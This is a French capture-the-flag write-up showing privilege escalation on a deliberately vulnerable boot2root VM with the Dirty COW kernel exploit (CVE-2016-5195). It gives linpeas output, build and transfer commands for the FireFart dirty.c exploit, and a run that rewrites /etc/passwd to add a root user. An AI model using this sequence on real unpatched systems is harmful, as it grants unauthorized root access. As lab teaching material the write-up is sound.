

DIRTY COW

Boot2root writeups

Lorsqu'on se connecte en tant que l'utilisateur **laurie**, on a en réalité une manière de devenir root assez facilement, en lançant simplement un exploit **dirtycow**.

En effet, **linpeas** nous informe que la version du kernel est vraiment ancienne :

```
System Information
Operative system
https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 3.2.0-91-generic-pae (buildd@lgw01-15) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) )
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
```

Et qu'il est très probable que le système soit vulnérable à dirtycow :

```
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).04|14.04|12.04 }
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com
```

On commence par télécharger le code source de l'exploit (disponible dans le dossier scripts/dirty):

<https://github.com/FireFart/dirtycow/blob/master/dirty.c>

> Pour les librairies x32 :

```
apt-get install gcc-multilib
```

> Pour libcrypt en 32 bits :

```
dpkg --add-architecture i386
```

```
apt-get update
```

```
apt install libc6-dev:i386
```

> Maintenant on peut compiler en statique notre exploit :

```
gcc -m32 -static -pthread dirty.c -o dirty -lcrypt
```

Une fois le binaire compilé en statique, on le transfère sur la machine cible (par exemple avec un scp) :

```
scp dirty laurie@192.168.1.7:/home/laurie/dirty
```

Il ne nous reste plus qu'à l'exécuter en indiquant le mot de passe de notre choix, puis en nous connectant sur l'utilisateur **firefart** avec ce même mot de passe ; on a ensuite les privilèges **root** :

```
laurie@BornToSecHackMe:~$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fiZTycW1VTXm6:0:0:pwned:/root:/bin/bash

mmap: b7ffe000
^C
laurie@BornToSecHackMe:~$ su firefart
Password:
firefart@BornToSecHackMe:/home/laurie# id
uid=0(firefart) gid=0(root) groups=0(root)
```

On a donc bien l'**utilisateur root**.